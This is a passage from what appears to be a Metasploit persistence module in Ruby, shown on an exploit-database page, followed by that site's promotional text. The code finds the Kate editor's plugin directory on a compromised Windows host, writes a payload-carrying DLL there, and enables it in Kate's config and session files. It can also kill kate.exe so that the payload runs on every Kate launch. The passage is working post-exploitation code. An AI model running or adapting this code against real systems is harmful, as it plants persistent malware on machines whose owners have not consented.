      katebuildplugin.dll katetabswitch6.dll katepart6.dll
    ].each do |dll_name|
      result = cmd_exec("where /r \"#{install_root}\" #{dll_name} 2>nul").strip
      first_line = result.split(/[\r\n]+/).first.to_s.strip
      next if first_line.empty? || !first_line.include?(':\\') || !first_line.downcase.end_with?('.dll')

      dir_path = first_line.split('\\')[0..-2].join('\\')
      print_good("Found Kate plugin directory via #{dll_name}: #{dir_path}")
      return dir_path
    end

    # Strategy 2: PowerShell directory search, using [Console]::Write to bypass the
    # Out-File formatting pipeline that fails in meterpreter's non-interactive context.
    ps = "$d = Get-ChildItem -Path '#{install_root}' -Recurse -Directory" \
         " -Filter 'ktexteditor' -ErrorAction SilentlyContinue -Depth 8 |" \
         ' Select-Object -First 1;' \
         ' if ($d) { [Console]::Write($d.FullName) }'
    result = cmd_exec("powershell -NoProfile -NonInteractive -Command \"#{ps}\" 2>nul").strip
    if result.match?(/ktexteditor/i) && result.include?(':\\')
      print_good("Found Kate plugin directory: #{result}")
      return result
    end

    # Strategy 3: explicit common paths used by KDE craft-based Windows installers.
    [
      "#{install_root}\\lib\\plugins\\kf6\\ktexteditor",
      "#{install_root}\\plugins\\kf6\\ktexteditor",
      "#{bin_dir}\\plugins\\kf6\\ktexteditor",
      "#{bin_dir}\\kf6\\ktexteditor"
    ].each do |candidate|
      if directory?(candidate)
        print_good("Found Kate plugin directory: #{candidate}")
        return candidate
      end
    end

    # Strategy 4: read qt.conf for the plugin root; fall back to bin\.
    plugin_root = plugin_root_from_qt_conf(bin_dir, install_root) || bin_dir
    print_status("Qt plugin root: #{plugin_root}")

    kf6_dir = "#{plugin_root}\\kf6"
    ktexteditor_dir = "#{kf6_dir}\\ktexteditor"

    if create && !directory?(ktexteditor_dir)
      print_status("Creating plugin directory: #{ktexteditor_dir}")
      mkdir(kf6_dir, cleanup: false) unless directory?(kf6_dir)
      mkdir(ktexteditor_dir, cleanup: false)
    end

    if directory?(ktexteditor_dir)
      print_good("Plugin directory ready: #{ktexteditor_dir}")
      return ktexteditor_dir
    end

    print_warning(create ? 'Failed to find or create Kate plugin directory' : 'Kate plugin directory not found')
    nil
  end

  def install_windows
    install_dir = find_kate_install_plugin_dir
    if install_dir.nil?
      fail_with(Failure::NotFound,
                'Kate plugin directory not found — verify Kate is installed on the target')
    end

    unless probe_dir_writable?(install_dir)
      fail_with(Failure::NoAccess,
                "Kate plugin directory is not writable: #{install_dir}")
    end

    dll_data = windows_plugin_data(payload.encoded)

    target_dll = "#{install_dir}\\#{plugin_name}.dll"
    print_status("Uploading #{dll_data.size} bytes to #{target_dll}")
    write_file(target_dll, dll_data)

    if file?(target_dll)
      print_good("Plugin installed: #{target_dll}")
    else
      print_warning("DLL missing after write — possible AV quarantine: #{target_dll}")
    end
    @clean_up_rc << "rm \"#{rc_win_path(target_dll)}\"\n"

    enable_plugin_in_katerc(plugin_name)
    enable_plugin_in_kate_sessions(plugin_name)

    if kate_running?
      if datastore['KILLKATE']
        cmd_exec('taskkill /F /IM kate.exe 2>nul')
        print_good('Kate killed — relaunch Kate to fire the payload')
      else
        print_warning('Kate is currently running — kill it with `taskkill /F /IM kate.exe` then relaunch. Payload fires on next Kate start.')
      end
    end
    print_good('Payload will fire on every Kate startup')
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 May 2025 00:00Current
5.8Medium risk
Vulners AI Score5.8
5